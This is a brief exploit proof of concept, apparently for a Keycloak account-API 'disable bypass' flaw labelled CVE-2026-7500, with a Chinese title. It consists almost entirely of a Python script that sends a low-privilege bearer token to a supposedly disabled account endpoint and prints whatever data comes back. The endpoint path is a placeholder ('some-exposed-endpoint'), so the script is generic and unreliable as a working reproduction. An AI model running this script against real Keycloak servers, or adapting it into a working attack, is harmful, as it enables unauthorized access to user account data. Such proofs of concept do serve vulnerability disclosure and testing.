CVE-2026-7500 Keycloak账户API禁用绕过漏洞

import requests # Target configuration target_host = "http://keycloak-target:8080" realm = "master" endpoint_path = "/realms/master/account/v1alpha1/some-exposed-endpoint" # The specific endpoint that lacks the check url = f"{target_host}{endpoint_path}" # Attacker requires a valid low-privilege access token access_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." headers = { "Authorization": f"Bearer {access_token}", "Content-Type": "application/json" } try: # Attempt to access the supposedly disabled API response = requests.get(url, headers=headers) if response.status_code == 200: print("[+] Vulnerability Confirmed!") print("[+] Data retrieved from disabled endpoint:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"Error: {e}")